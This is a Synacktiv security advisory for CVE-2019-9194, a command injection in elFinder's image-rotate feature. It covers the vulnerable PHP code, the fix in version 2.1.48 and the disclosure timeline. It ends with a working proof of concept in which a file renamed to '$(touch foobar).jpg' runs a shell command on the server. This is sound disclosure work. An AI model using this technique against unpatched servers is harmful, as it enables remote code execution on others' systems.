SYNACKTIV
DIGITAL SECURITY

Command Injection in elFinder < 2.1.48

Security advisory

2019-02-27

Thomas Chauchefoin

Vulnerability description

Presentation of *elFinder*

“elFinder is an open-source file manager for web, written in JavaScript using jQuery UI. Creation is inspired by simplicity and convenience of Finder program used in Mac OS X operating system.”[1]

The issue

Synacktiv discovered that *elFinder* does not correctly sanitize user-controlled data later used in shell commands when rotating a picture.

CVE-2019-9194 was assigned to this issue.

Mitigation

The function `escapeshellarg()` has to be called on target file's name before using this value on the command line. In addition, in both call to `exiftran` and `jpegtran`, the file name has to be prefixed by `--` (two dashes) to mark the end of the parameters list and to avoid any extra argument that could be provided by the attacker.

This fix was implemented in version 2.1.48.

Affected versions

The last stable version at the time of this advisory, 2.1.47, is known to be affected. It seems that commit 159b966c7239b860641d60e66ba0444ac930ae9f[2] first introduced the vulnerability, four years ago, in version 2.0.7.

This vulnerability is exploitable even in minimal setups of the software as long the package `exiftran` is installed, and even if the package is not installed in releases prior to 2.1.22.

Timeline

Date	Action
2019-02-25	Advisory sent to Naoki Sawada (*hypweb+elfinder@gmail.com*)
2019-02-26	Version 2.1.48 is released[3].
2019-02-27	Publication of this advisory.

1 https://github.com/Studio-42/elFinder

2 https://github.com/Studio-42/elFinder/commit/159b966c7239b860641d60e66ba0444ac930ae9f

3 https://github.com/Studio-42/elFinder/releases/tag/2.1.48

Technical description and proof-of-concept

Description

elFinder's API implements a method named `resize`, letting users perform basic transformations on image files, as found in `elFinder/php/elFinder.class.php`:

```
    protected $commands = array(
        'abort' => array('id' => true),
      [...]
        'resize' => array('target' => true, 'width' => false, 'height' => false, 'mode' =>
false, 'x' => false, 'y' => false, 'degree' => false, 'quality' => false, 'bg' => false),
      [...]
```

This method also accepts sub-commands trough the parameter `mode`:

```
    protected function resize($args)
    {
        $target = $args['target'];
        $width = (int)$args['width'];
        $height = (int)$args['height'];
        $x = (int)$args['x'];
        $y = (int)$args['y'];
        $mode = $args['mode'];
        $bg = $args['bg'];
        $degree = (int)$args['degree'];
        $quality = (int)$args['quality'];

        if (($volume = $this->volume($target)) == false
            || ($file = $volume->file($target)) == false) {
            return array('error' => $this->error(self::ERROR_RESIZE, '#' . $target,
self::ERROR_FILE_NOT_FOUND));
        }
       [...]
        return ($file = $volume->resize($target, $width, $height, $x, $y, $mode, $bg,
$degree, $quality))
            ? (!empty($file['losslessRotate']) ? $file : array('changed' => array($file)))
            : array('error' => $this->error(self::ERROR_RESIZE, $volume->path($target),
$volume->error()));
    }
```

The implementation of `$volume->resize()` can be found in `elFinder/php/elFinderVolumeDriver.class.php` and will perform various operations to ensure that resizing was not explicitly disabled, to obtain the path of the file associated to the parameter `target` and so on:

```
public function resize($hash, $width, $height, $x, $y, $mode = 'resize', $bg = '', $degree
= 0, $jpgQuality = null)
    {
        if ($this->commandDisabled('resize')) {
            return $this->setError(elFinder::ERROR_PERM_DENIED);
        }
      [...]
        switch ($mode) {

            case 'propresize':
                $result = $this->imgResize($work_path, $width, $height, true, true, null,
$jpgQuality);
                break;

            case 'crop':
                $result = $this->imgCrop($work_path, $width, $height, $x, $y, null,
```

```
$jpgQuality);
                break;

            case 'fitsquare':
                $result = $this->imgSquareFit($work_path, $width, $height, 'center',
'middle', ($bg ? $bg : $this->options['tmbBgColor']), null, $jpgQuality);
                break;

            case 'rotate':
                $result = $this->imgRotate($work_path, $degree, ($bg ? $bg : $this-
>options['bgColorFb']), null, $jpgQuality);
                break;

            default:
                $result = $this->imgResize($work_path, $width, $height, false, true, null,
$jpgQuality);
                break;
        }
```

These sub-commands allow several operations on pictures, but the implementation of `rotate` especially caught our eyes:

```
protected function imgRotate($path, $degree, $bgcolor = '#ffffff', $destformat = null,
$jpgQuality = null)
    {
[...]
        // try lossless rotate
        if ($degree % 90 === 0 && in_array($s[2], array(IMAGETYPE_JPEG,
IMAGETYPE_JPEG2000))) {
            $count = ($degree / 90) % 4;
[...]
            $quotedPath = escapeshellarg($path);
            $cmds = array();
            if ($this->procExec(ELFINDER_EXIFTRAN_PATH . ' -h') === 0) {
                $cmds[] = ELFINDER_EXIFTRAN_PATH . ' -i ' . $exiftran[$count] . ' ' .
$path;
            }
            if ($this->procExec(ELFINDER_JPEGTRAN_PATH . ' -version') === 0) {
                $cmds[] = ELFINDER_JPEGTRAN_PATH . ' -rotate ' . $jpegtran[$count] . ' -
copy all -outfile ' . $quotedPath . ' ' . $quotedPath;
            }
            foreach ($cmds as $cmd) {
                if ($this->procExec($cmd) === 0) {
                    $result = true;
                    break;
                }
            }
            if ($result) {
                return $path;
            }
        }
```

While `$quotedPath` is used in `jpegtran`'s invocation, `$path` will be used instead for `exiftran`. The implementation of `procExec()` using PHP's `proc_exec()` and ultimately passing the command line to `/bin/sh`, command substitution characters (`$()`) will be evaluated and will allow an attacker to execute arbitrary commands through file's name.

It should be noted that the check of `exiftran`'s existence was only introduced in 21491de[4], which means that the vulnerability can be exploited in releases before 2.1.22, even if the package is not installed.

4 https://github.com/Studio-42/elFinder/commit/21491de89bd967d2c546bca3ea351029a146c9e6

Proof of Concept

Tests were performed on a *Debian* 9 host, with the minimal setup of *elFinder* 2.1.46 (`connector.minimal.php-dist`).

First, a picture has to be uploaded:

```
POST /elFinder-2.1.46/php/connector.minimal.php HTTP/1.1
Host: host.tld
[...]
Content-Type: multipart/form-data; boundary=---------------------------
167139717945503808124831321 1
[...]

-----------------------------167139717945503808124831321 1
Content-Disposition: form-data; name="reqid"

1691619c687174
-----------------------------167139717945503808124831321 1
Content-Disposition: form-data; name="cmd"

upload
-----------------------------167139717945503808124831321 1
Content-Disposition: form-data; name="target"

l1_Lw
-----------------------------167139717945503808124831321 1
Content-Disposition: form-data; name="upload[]"; filename="cat.jpg"
Content-Type: image/jpeg

[...]
```

The response will contain its identifier, named `hash`:

```
{
  "added": [
    {
      "isowner": false,
      "ts": 1550853980,
      "mime": "image/jpeg",
      "read": 1,
      "write": 1,
      "size": "68845",
      "hash": "l1_Y2F0LmpwZw",
      "name": "cat.jpg",
      "phash": "l1_Lw",
      "tmb": 1,
      "url": "/elFinder-2.1.46/php/../files/cat.jpg"
    }
  ],
[...]
```

This picture can then be renamed to `$(<payload>).jpg` (its identifier will change during this operation):

```
GET /elFinder-2.1.46/php/connector.minimal.php?cmd=rename&name=%24(touch
%20foobar).jpg&target=l1_Y2F0LmpwZw&reqid=169161e4bbbb6 HTTP/1.1
Host: host.tld
[...]
```

Finally, the rotation can be performed on this new file:

```
GET /elFinder-2.1.46/php/connector.minimal.php?
target=l1_JCh0b3VjaCBmb29iYXIpLmpwZw&width=632&height=475&degree=180&quality=100&bg=&mode=r
otate&cmd=resize&reqid=169162255cc229 HTTP/1.1
Host: host.tld
[...]
```

On the target server, `strace` can be used to confirm the execution of our command:

```
[pid 10954] execve("/bin/sh", ["sh", "-c", "exiftran -i -1 /var/www/elFinder-2.1.46/files/$
(touch foobar).jpg"], [/* 2 vars */]) = 0
[pid 10955] execve("/usr/bin/touch", ["touch", "foobar"], [/* 3 vars */]) = 0
```